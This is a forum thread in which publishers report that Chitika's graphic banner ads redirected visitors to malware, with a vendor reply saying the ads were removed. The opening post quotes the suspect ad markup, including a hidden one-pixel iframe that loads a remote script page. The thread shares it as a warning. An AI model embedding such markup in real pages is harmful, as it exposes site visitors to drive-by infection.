Watch out all. Chitika is loading viruses from its graphic ads. <script src="http://www5.advercasts.com/sid=402/leaderboard/40/" language="javascript"> </script> <iframe height="90" frameborder="0" width="728" scrolling="no" bordercolor="#000000" vspace="0" hspace="0" marginheight="0" marginwidth="0" src="http://aqwweohwq.com/bawewao/"> <html> <head> <script language="Javascript"> </script> <title/> </head> <div id="_firebugConsole" style="display: none> <body marginwidth="0" marginheight="0" bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0"> <a href="http://www.werwewwoeao.com/uyrtwqq/"> <img height="92" border="0" width="730" src="http://64.8.20.51/graphics/117027/728x90.gif"/> </a> <iframe height="1" frameborder="0" width="1" scrolling="no" src="http://fowieqozx.com/xaewoirwaoa/index.php"> </iframe> </body> </html> </iframe>
I have also had this issue with Chitika. I've alerted them on several occasions, but they're either unable or unwilling to fix it. I've had several visitors to my site tell me that they get spyware stuff and it ONLY happens when I run Chitika graphic ads. That being said, I'd love to run the ads. I actually make pretty good money with them. But they're not worth the risk right now so I had to remove them.
It is coming from this ad <iframe height="90" frameborder="0" width="728" scrolling="no" src="http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90&entity=74598&site_code=mmXXXX§ion_code=XX" marginheight="0" marginwidth="0"> I have taken my personal information out of this with the XX. I to have sent tickets and e-mails to Ryan. We'll look into it. Its never fixed. You have no control over the networks you use. Never have this problem with ShoppingAds or BizRate.
I also put Chitika. Viruses issue sounds terrible. Hope it's not true. If so, will websites be listed as malicious on Google search results because of this?
Another confirmation of this problem. I removed the ads as soon as I noticed this last weekend. The domain is random... they run the ad for a couple hours and redirects what looks like a pdf file (most antivirus programs report it), and then they change the domain and do it again. The redirect is not immediate, it waits a few minutes before redirecting. Who ever is doing this also is part of a private IP address block, making it very difficult to track them down. Sadly, once this happens with an ad network I will never trust them again.
It is just the graphical ads. Other Chitika ads are safe, just do not use their fillers. They are also having trouble with other redirects now.
Wow.... it sounds too serious for me too because I am waiting for their approval. I have to wait for a couple of day, hopefully, by this week. Even though they accept me, it still takes me a while to decide to put their ad. By the way I will discover the truth. I have 2 things to wish now: 1st is to be accepted by them and 2nd is that they should be aware of this issue as soon as possible.
We have found the bad ads in question and they have been removed. The only way that you could have been affected is if you specifically chose to run our graphic ads, or if you are opted into our graphic ads program and are running Chitika | Premium with backfill (formerly eMiniMalls). This is about 1% of our users. These graphical ads in those specific programs mostly come from 3rd party advertisers, and although we do try to monitor this as closely as possible, certain ads can sometimes slip through the crack. For this, we do sincerely apologize, and the offending ads have been removed. The other 99% of our users who run our Chitika | Premium ads, Linx, and Whitespace Ads were not affected by this. All ads running through Chitika | Premium (not the backfill) are 100% safe, 1st-party ads that will never, ever be able to contain malware/spyware/etc. We are terribly sorry for any inconvenience this has caused any of our Graphical/banner ad users. -The Chitika Team
I signed up and I had the same issue just before the final stage of the application the virus page flashed up and then went to the email confirmation page - there appears to be an issue..
catweazel - if you are saying that you saw pop-ups coming from the Chitika.com application page then that would be a virus that was already existing on your computer. It is technically impossible for you to get a virus from visiting Chitika.com and completely unrelated to the above issue, which is now fixed. We control all of the content there, and there is no possible way that any malware, etc. could come from that.
the yieldmanager network has been having xss'd ads running on it since January in the banners. Its big problem. Had to remove the banners from my sites. if Chikita was serving 3rd party ads loaded from yeildmanager url, then that is where the virus came from. It appear the advertisers are aloud to put any javascript they please allowing them to do cross site scripting which can let them put viruses and all kinds of trouble..
Same thing happened with me, when i was using adbrite, Many of my visitors commented on my website that they are getting infected. i had to remove those gfx ads, but whatever! this is really pathetic, if they do this intentionaly.